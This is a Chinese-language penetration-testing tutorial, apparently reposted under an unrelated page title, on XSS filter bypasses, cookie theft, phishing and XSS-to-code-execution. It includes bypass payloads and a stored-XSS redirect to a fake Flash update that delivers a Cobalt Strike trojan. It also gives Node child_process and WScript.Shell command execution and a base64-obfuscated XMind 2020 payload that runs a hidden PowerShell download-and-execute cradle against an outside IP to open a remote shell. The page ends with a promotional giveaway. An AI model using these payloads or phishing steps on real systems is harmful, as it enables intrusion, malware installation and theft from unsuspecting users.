data与state的区别,data访问权限怎么解释

首页 > 实用技巧 > 作者:YD1662024-01-27 12:11:50

[CISCN2019 华东北赛区]Web2 这道题运用的就是这个知识点。

XSS 测试流程思路

下面让我们来看一下XSS绕过的测试流程。

现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:

  1. 暴力测试(输入大量的payload,看返回结果)
  2. 根据正则推算
  3. 利用浏览器bug
初步测试

(1)尝试插入比较正常的HTML标签,例如:<a>、<b>、<i>、<u> 等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

(2)尝试插入不闭合的标签,例如:<a、<b、i>、u>、<img 等,然后看一下返回响应,是否对开放的标签也有过滤。

(3)然后测试几种常见的XSS向量:

<script>alert(1)</script> <script>prompt(1)</script> <script>confirm(1)</script> ......

看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了 alert、prompt、confirm 等字符,再尝试大小写的组合:

<scRiPt>alert(1);</scrIPt>

(4)如果过滤器仅仅是把 <script> 和 </script> 标签过滤掉,那么可以用双写的方式来绕过:

<scr<script>ipt>alert(1)</scr<script>ipt>

data与state的区别,data访问权限怎么解释(21)

data与state的区别,data访问权限怎么解释(22)

这样当 <script> 标签被过滤掉后,剩下的组合起来刚好形成一个完整的向量。

(5)用 <a href 标签来测试,看返回响应

<a href="http://www.baidu.com">click</a>

看看 <a 标签是否被过滤,href 是否被过滤,href里的数据是否被过滤了。如果没有数据被过滤,插入javascript伪协议看看:

<a href="javascript:alert(1)">click</a>

看是否返回错误,javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符。

继续测试事件触发执行javascript:

<a href=x onmouseover=alert(1)>ClickHere</a>

看onmouseover事件是否被过滤。

测试一个无效的事件,看看他的过滤规则:

<a href=x onclimbatree=alert(1)>ClickHere</a>

是完整的返回了呢,还是跟onmouseover一样被干掉了。如果是完整的返回的话,那么就意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件,我们可以选用别的事件。测试一个很少见的事件:

<body onhashchange=alert(1)><a href=#>click</a>

onhashchange 事件在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发 。

测试其他标签和属性

HTML的标签和属性太多了,上文中已经列出了很多了。

XSS 攻击面拓展利用 XSS 钓鱼通过 XSS 盗取 Cookie

Cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。最简单的比如:<script>alert(document.cookie)</script> ,执行后会弹出当前页面的cookie信息。在目标没有“同源策略”的保护下,我们可以利用XSS盗取目标网站管理员的Cookie。

在一般的通用CMS下呢,为了通用模板的兼容性,许多CMS本身不会使用“同源策略”等其他手段来防护XSS漏洞,而是使用自建的过滤函数来处理,在这种情况下,一旦出现XSS漏洞,我们就可以直接获取目标的Cookie然后使用特定的方法来传输cookie。

这里,我们可以利用网上现成的或自己搭建的XSS平台来完成利用过程。

Flash 弹窗钓鱼

之前看过很多大佬使用XSS漏洞弹出Flash的更新页面进行钓鱼的操作。今天我们终于有机会来演示一下了。

其原理就是通过XSS漏洞,弹出Flash更新请求诱使用户点击,使用户跳转到设置好的钓鱼页面(伪造好的Flash更新页面),下载伪造的Flash组件(木马程序)并执行,最终实现反弹Shell上线CS,完成钓鱼攻击。下面我们搭建环境进行演示。

实验环境:

主机环境:

工具环境:

(1)制作 CS 捆绑木马

这里我们选择制作WinRAR自解压捆绑木马,将 CS 木马与真正的Flash更新程序捆绑在一起,详情参考我的文章:《钓鱼攻击:制作WinRAR自解压捆绑木马进行钓鱼攻击》

(2)搭建Flash钓鱼页面

首先我们需要在kali上搭建一个钓鱼页面,需要下载Flash官方页面的源码进行修改。这里有两个项目可以选择:

该项目是模仿的 Flash Player 中文官网的页面:

需要在index.html中的加入我们制作的木马的链接地址:

该项目是一个逼真的Flash更新提醒的弹窗,强迫症都会忍不住去点击下载的:

我们这里使用第二种方法,点击“立即升级”的这个按钮点击会下载我们提前准备好的 CS 木马。如果管理员以为自己的 Flash 版本过低的话,可能会下载并运行这个木马。

找到flash.js,搜索链接“https://www.se7ensec.cn/”,将其改为我们制作的木马的链接地址,然后保存即可:

然后将伪造的Flash页面搭建在攻击机kali的Web服务上:

(3)插入 XSS 攻击向量

访问目标网站:

在最下方发现一个留言板:

经测试存在XSS漏洞,我们插入一下payload:

<script>window.location.href="http://192.168.0.182";</script>

xxxxxxxxxxbr<script>window.location.href="http://192.168.0.182";</script>br

这样,当用户再次访问该页面或管理员在后台查看评论时,就会将页面劫持到我们所伪造的钓鱼页面上:

当受害者强迫症忍不住去点击“立即升级”时,就会下载我们所准备好的 CS 捆绑木马:

如果受害者以为自己的 Flash 版本过低的话,就可能会运行这个木马。如下图所示,受害者主机成功上线:

XSS to RCE

为了大大提升 XSS 的危害,我们可以利用 JavaScript 来执行系统命令。

使用 WScript.Shell 执行系统命令

WScript.Shell(Windows Script Host Runtime Library)是一个对象,对应的文件是C:/WINDOWS/system32/wshom.ocx,Wscript.shell是服务器系统会用到的一种组件。4这个对象可以执行操作系统外壳常用的操作,比如运行程序、读写注册表、环境变量等。简单使用如下:

var shell = new ActiveXObject("WScript.Shell"); shell.run("calc.exe");

xxxxxxxxxxbrvar shell = new ActiveXObject("WScript.Shell");brshell.run("calc.exe");br

有时候为了 Bypass 也可以使用 String.fromCharCode 从 Ascii 来转化恶意代码:

<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">

xxxxxxxxxxbr<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">br使用 child_process 执行系统命令

如果目标环境启用了 NodeJS 的话,我们也可以利用 NodeJS 的子进程(child_process)调用并执行系统命令:

<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})"> <img src=x onerror="require('child_process').exec('calc');"> <img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">

xxxxxxxxxxbr<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})">brbr<img src=x onerror="require('child_process').exec('calc');">brbr<img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">br

能执行系统命令了,那么 XSS 在钓鱼攻击中的作用便大大提高了,我们完全可以利用 XSS 反弹 Shell 并上线 Metasploit 或 CS 。请继续往下看。

Xmind 2020 XSS 漏洞

XMind 是一款专业的全球领先的商业思维导图软件,在国内使用广泛,拥有强大的功能、包括思维管理、商务演示、与办公软件协同工作等功能。它采用全球先进的 Eclipse RCP 软件架构,是集思维导图与头脑风暴于一体的可视化思考工具,能用来捕捉想法、理清思路、管理复杂信息并促进团队协作。 XMind 思维导图软件曾被著名互联网媒体 Lifehacker 评选为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。

2021年5月10日,被爆 Xmind 2020 中存在 XSS 漏洞,攻击者可以借助该漏洞实现命令执行,在实际环境中借助钓鱼攻击可能造成更严重的危害。

漏洞利用很简单,在 “思维导图” 中输出 Payload:

<img src=x onerror=alert('xss')>

xxxxxxxxxxbr<img src=x onerror=alert('xss')>br

切换到 “大纲” 中,按下一个功能键即可触发攻击:

由于 Xmind 启用了 NodeJS 功能,所以我们可以利用 child_process 调用并执行系统命令。这和蚁剑的 XSS 导致 RCE 原理如出一辙:https://www.heibai.org/post/1152.html

同时我们可以利用这一点进行钓鱼,让受害机上线 Metasploit 或 CS。

首先使用 CS 生成钓鱼使用的 PowerShell 脚本:

点击 Launch 后生成攻击命令:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"

xxxxxxxxxxbrpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"br

即:

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');

xxxxxxxxxxbrrequire('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');br

为了更好地 Bypass,我们可以将 payload 进行 base64 转化一下,最终的 Payload 如下:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'> WX:machinegunjoe666免费领取资料

xxxxxxxxxxbr<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'> WX:machinegunjoe666免费领取资料br

如下图所示,受害机成功上线:

福利分享:

看到这里的大佬,动动发财的小手 点赞 回复 收藏,能【 关注 】一波就更好了

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

①1000 CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2021密码学/隐身术/PWN技术手册大全

各位朋友们可以关注 评论一波 私信【资料】 即可免费获取全部资料



上一页23456末页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.